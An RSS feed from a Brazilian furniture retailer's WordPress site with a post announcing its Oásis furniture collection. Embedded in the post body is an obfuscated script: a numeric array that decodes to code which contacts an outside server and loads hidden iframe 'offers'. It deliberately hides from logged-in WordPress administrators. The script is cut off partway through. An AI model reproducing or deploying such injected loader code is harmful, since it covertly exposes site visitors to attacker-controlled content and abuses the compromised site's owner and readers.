<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Arquivos Sem categoria - Marel Design Mobili</title>
	<atom:link href="https://marel.com.br/category/sem-categoria/feed/" rel="self" type="application/rss+xml" />
	<link>https://marel.com.br/category/sem-categoria/</link>
	<description>Para olhares refinados</description>
	<lastBuildDate>Sat, 23 May 2026 01:25:47 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://marel.com.br/wp-content/uploads/2021/05/logo-black-150x150.png</url>
	<title>Arquivos Sem categoria - Marel Design Mobili</title>
	<link>https://marel.com.br/category/sem-categoria/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Coleção Oásis é um convite à experiências sensoriais nos projetos</title>
		<link>https://marel.com.br/colecao-oasis-e-um-convite-a-experiencias-sensoriais-nos-projetos/</link>
		
		<dc:creator><![CDATA[schu]]></dc:creator>
		<pubDate>Wed, 15 Apr 2026 21:22:35 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=18258</guid>

					<description><![CDATA[<p>Em tempos onde nos sentimos cada vez mais limitados pela pressa, convidamos você para se imaginar em um oásis sereno, onde o tempo desacelera e a beleza se revela em formas naturais. Assim nasce a Coleção Oásis da Marel Design Mobili, um convite à reconexão com experiências sensoriais, traduzido em um design sofisticado. Através de&#8230;&#160;<a href="https://marel.com.br/colecao-oasis-e-um-convite-a-experiencias-sensoriais-nos-projetos/" rel="bookmark">Continue a ler &#187;<span class="screen-reader-text">Coleção Oásis é um convite à experiências sensoriais nos projetos</span></a></p>
<p>O post <a href="https://marel.com.br/colecao-oasis-e-um-convite-a-experiencias-sensoriais-nos-projetos/">Coleção Oásis é um convite à experiências sensoriais nos projetos</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Em tempos onde nos sentimos cada vez mais limitados pela pressa, convidamos você para se imaginar em um oásis sereno, onde o tempo desacelera e a beleza se revela em formas naturais. Assim nasce a <strong>Coleção Oásis da Marel Design Mobili</strong>, um convite à reconexão com experiências sensoriais, traduzido em um design sofisticado. Através de materiais nobres e inovações, transformamos ambientes em espaços que inspiram e acolhem.</p>



<p class="wp-block-paragraph"><strong>Adentre o Oásis e descubra novos acabamentos, texturas e cores que reinventam o design.</strong></p>



<p class="wp-block-paragraph"></p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57